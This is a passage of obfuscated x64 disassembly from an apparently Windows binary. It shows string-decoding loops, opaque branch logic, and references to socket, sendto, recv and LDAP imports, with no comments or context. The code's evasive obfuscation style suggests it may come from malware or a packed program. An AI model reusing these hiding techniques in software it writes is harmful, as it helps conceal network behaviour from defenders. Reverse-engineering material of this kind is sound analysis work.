add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140080682
movabs rdx, 0x422276b37b09f2c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x140081287
movabs rdx, 0x2b770ca833b1a3b2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400812de
movabs rdx, 0x52cbf1e52fb2a838
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xca0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080682
movabs rcx, 0x35202efda5b53387
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x4f
mov byte [rbp + rdi + 0xca0], r11b
inc rdi
jmp 0x140080682
movabs rcx, 0x5c75143aa1b6380d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5b
cmp r9, 0x40
jb 0x140080b30
movabs rdx, 0x2a1654d9cbcc194e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x44]
jmp 0x1400811ad
movabs rdx, 0x83c9f9779db73c93
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 5
add r11b, dl
cmp r8, 0x3e8
jae 0x14008109f
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x140080ffb
movabs rdx, 0xb367493ba3d6468a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140080b5e
movabs rcx, 0xab1edeb499b84119
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x51
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400810cb
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140080f01
movabs rdx, 0xd062b03bf9e0f609
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3f
jmp 0x140080bab
movabs rcx, 0x521b95fdfbbfe306
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2a
movzx eax, byte [rbp + rdi + 0xca0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080682
movabs rdx, 0x79707b3af7c0e78c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400812e1
movabs rdx, 0xa0c56077f3c1ec12
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7e
add r11b, dl
jmp 0x140081287
movabs rcx, 0xc81a45b4efc2f098
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140080682
movabs rdx, 0xef6f2af1ebc3f51e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008124d
movabs rdx, 0x16c4102ee7c4f9a4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7c
jmp 0x140081225
movabs rcx, 0x3e18f56be3c5fe2a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x26
dec rdi
inc rdi
jmp 0x140080682
movabs rdx, 0x656ddaa8dfc702b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140080682
movabs rdx, 0x8cc2bfe5dbc80736
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7a
jmp 0x1400811aa
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140080df7
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2b
add r11b, dl
jmp 0x140080c0e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140080e34
movabs rcx, 0xc60931ff53eaa102
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xe
movzx eax, byte [rbp + rdi + 0xca0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080682
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140080e65
movabs rdx, 0x775f67855be897f6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081287
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140080e97
movabs rcx, 0xda0bd2916be485de
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x12
dec rdi
inc rdi
jmp 0x140080682
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140080ecc
movabs rcx, 0xb2b6ed546fe38158
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x68
inc r9
dec rdi
inc rdi
jmp 0x140080682
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140080c0e
movabs rdx, 0x8b62081773e27cd2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400811ad
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140080f2e
movabs rdx, 0xa90dcafefddff183
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6b
jmp 0x1400811aa
inc rax
cmp r8, rax
jne 0x140080f5f
movabs rcx, 0x5a64008505dde877
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x41
dec rdi
inc rdi
jmp 0x140080682
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140080f8b
movabs rcx, 0xbba360b0ddbdf6b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x13
jmp 0x14008124d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140080fc7
movabs rcx, 0xe46550ce11dadae5
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x43
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140080682
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140080bae
movabs rdx, 0xbd106b9115d9d65f
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x67
add r11b, dl
jmp 0x140081287
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081038
movabs rcx, 0x8c1263fea7d54204
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
movzx eax, byte [rbp + rdi + 0xca0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080682
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008106a
movabs rcx, 0xa0150490bfcf26e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
dec rdi
inc rdi
jmp 0x140080682
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140080b5e
movabs rdx, 0x516b3a16c7cd1dd4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400811ad
movabs rdx, 0x2c16f9ccfcb14c8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xca0]
sub r11b, al
sub r11b, 0x78
add r11b, bl
jmp 0x140081225
movabs rdx, 0xdb6c8a5fd3ca1042
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xca0]
add r11b, dl
add r11b, bl
jmp 0x140081287
movabs rcx, 0x1e5c1ecebdf039e3
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x35
jmp 0x14008124d
movabs rcx, 0x45b1040bb9f13e69
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x21
jmp 0x140081228
movabs rcx, 0x6d05e948b5f242ef
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x77
dec rdi
inc rdi
jmp 0x140080682
movabs rdx, 0xbbafb3c2adf44bfb
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x23
jmp 0x1400811aa
movabs rdx, 0xa597e3ca5f65507
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x31
add r11b, dl
movabs rcx, 0x966be23b4dcb970b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x4d
add bl, cl
mov byte [rbp + rdi + 0xca0], bl
inc r9
dec rdi
inc rdi
jmp 0x140080682
movabs rcx, 0x590348b69df85e13
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7b
dec rdi
inc rdi
jmp 0x140080682
movabs rdx, 0x80582df399f96299
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2f
add r11b, dl
movabs rcx, 0x6f16fcfe51ca9285
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x5d
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0xca0], bl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140080682
mov rbx, r10
movabs rcx, 0xf656ddaa8dfc702b
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2d
movabs rdx, 0x47c217c155c98dff
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, 7
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xca0], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400812e1
movabs rdx, 0x1dabc2e789fd74b1
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x29
movzx ebx, r10b
add r11b, dl
movabs rcx, 0xb417a522d7c90bbc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x24
add bl, cl
mov byte [rbp + rdi + 0xca0], bl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xca0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080682
movabs rcx, 0x4500a82485fe7937
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x7f
movzx eax, byte [rbp + rdi + 0xca0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140080682
movabs rcx, 0x487273a889bc5331
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x57
jmp 0x140080680
movabs rcx, 0x6fc758e585bd57b7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec r11b
jmp 0x140080670
lea r14, [rbp + 0x168879c]
jmp 0x1400813be
lea r14, [rbp + 0x1280559]
jmp 0x1400813be
lea r14, [rbp + 0xca0]
lea rdx, [0x140236d10]
lea rcx, [rbp + 0x580]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x50]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [rsi + 0x38], 0
jne 0x1400a3083
mov byte [rbp + 0x7f0], 0xcb
mov byte [rbp + 0x7f1], 0xb1
mov byte [rbp + 0x7f2], 0xbb
mov byte [rbp + 0x7f3], 0xb0
mov byte [rbp + 0x7f4], Ordinal_79
mov byte [rbp + 0x7f5], 5
mov byte [rbp + 0x7f6], Ordinal_50
mov byte [rbp + 0x7f7], 0x51
mov byte [rbp + 0x7f8], 0x5c
mov byte [rbp + 0x7f9], Ordinal_79
mov byte [rbp + 0x7fa], 0x54
mov byte [rbp + 0x7fb], 0x50
mov byte [rbp + 0x7fc], 0x45
mov byte [rbp + 0x7fd], 0x51
mov byte [rbp + 0x7fe], 0x57
mov byte [rbp + 0x7ff], 0xef
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x800], xmm0
mov word [rbp + 0x810], ax
mov byte [rbp + 0x812], al
movabs rdx, 0xa58f1b28dd81a85c
movabs r12, 0x897e940bdeaef82c
movabs r13, 0x44f07e97b5c31554
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
movabs rcx, 0x4fb0b1b76c20b67c
cmp rdi, 0x23
jae 0x14008228b
movzx ebx, byte [rbp + rdi + 0x7f0]
mov r10, rbx
cmp r8, rdi
ja 0x14008227f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008150c
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x64
jmp 0x140081540
je 0x1400821e1
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008219e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008215e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140082106
nop dword [rax]
cmp r9, rdi
ja 0x140082276
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140081569
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x1400815a0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400820e1
inc rax
cmp r8, rax
je 0x1400820a6
lea rax, [r9 + 5]
cmp r8, rax
je 0x140082064
lea rax, [r9 + 3]
cmp r8, rax
je 0x140081fdc
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140081c64
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140081c3c
lea rax, [r9 + 9]
cmp r8, rax
je 0x140081c01
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140081bc9
lea rax, [r9 + 6]
cmp r8, rax
je 0x140081ba6
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140081b66
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140081b24
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140081afc
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140081ad9
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140081ab6
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400815b0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140082253
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140082221
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400817aa
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140081782
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140081768
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140081a61
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140081a04
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400819b3
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008197b
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400815b0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140081958
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140081935
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140081921
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400818df
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008189f
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14008187c
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140081849
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008180e
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400817e6
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400815b0
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x42]
jmp 0x1400815b0
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x1400815a0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x140081540
movabs rdx, 0x62db7ba05403b64
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xa58f1b28dd81a85c
movabs rcx, 0x4fb0b1b76c20b67c
jmp 0x1400814de
movabs rdx, 0x4bf4a05ef577c160
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140082124
movabs rdx, 0xac933cf01d365468
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rcx, 0xd31d98144f4e770
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rcx, 0x6dd076126cb37a78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x140081f6b
movabs rcx, 0xce6f12a394720d80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rdx, 0x2f0daf34bc30a088
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rdx, 0x8fac4bc5e3ef3390
mov ecx, 8
jmp 0x140081feb
movabs rcx, 0xf04ae8570badc698
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x140082031
movabs rcx, 0x50e984e8336c59a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140082201
movabs rcx, 0xc2760c5316c8c934
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6c
mov byte [rbp + rdi + 0x7f0], r11b
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rdx, 0x2314a8e43e875c3c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x61
jb 0x140081999
movabs rcx, 0xc066cf151508b568
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140082124
movabs rdx, 0x83b345756645ef44
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x7a
jae 0x140081f40
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140081e77
movabs rcx, 0x8698ecc0a27a73b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x1400819d6
movabs rcx, 0xe451e2068e04824c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
lea rax, [r9 + r8]
cmp rax, 8
je 0x140081fb5
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x140081d6b
movabs rdx, 0xfd1a58b4c3cb7b8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140081a1b
movabs rcx, 0x38f778473819d108
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
jmp 0x140082201
movabs rcx, 0x999614d85fd86410
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x140082031
movabs rdx, 0xfa34b1698796f718
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140081fff
movabs rdx, 0x5ad34dfaaf558a20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rcx, 0xbb71ea8bd7141d28
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rcx, 0x1c10871cfed2b030
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x140081f6b
movabs rdx, 0x7caf23ae26914338
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rdx, 0xdd4dc03f4e4fd640
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rdx, 0x3dec5cd0760e6948
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082124
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x140081c94
movabs rdx, 0x4fb0b1b76c20b67c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x140081a7f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081cc0
movabs rcx, 0x12fd2817bd5df058
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140082201
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081cdd
movabs rdx, 0x51bfeef56de0ca48
mov ecx, 4
jmp 0x140081feb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140081d2b
movabs rdx, 0x9082b5d31e63a438
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140081a7f
movabs rcx, 0xcf457cb0cee67e28
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081d9c
movabs rdx, 0x9c7bbc239c0ce884
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082124
inc rax
cmp r8, rax
jne 0x140081dda
movabs rcx, 0x3bdd1f92744e557c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
inc r9
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140081e16
movabs rcx, 0xdb3e83014c8fc274
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140081e47
movabs rdx, 0x7a9fe67024d12f6c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140081f6b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081a27
movabs rcx, 0xf825742b85d6e34c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x140082031
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140081ea8
movabs rdx, 0x25fa502f7abbe0b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140082201
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140081ed4
movabs rcx, 0x64bd170d2b3ebaa0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140081fff
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140081f10
movabs rcx, 0xe242a4c88c446e80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
dec rdi
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400819d6
movabs rcx, 0x21056ba63cc74870
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140082124
movabs rdx, 0x5fc83283ed4a2260
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x7f0]
add r11b, bl
add r11b, dl
movabs rdx, 0xaf78e43b596ad8dc
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 4
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x7f0], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0xa58f1b28dd81a85c
jmp 0x1400814c2
movabs rcx, 0xff2995f2c58b8f58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
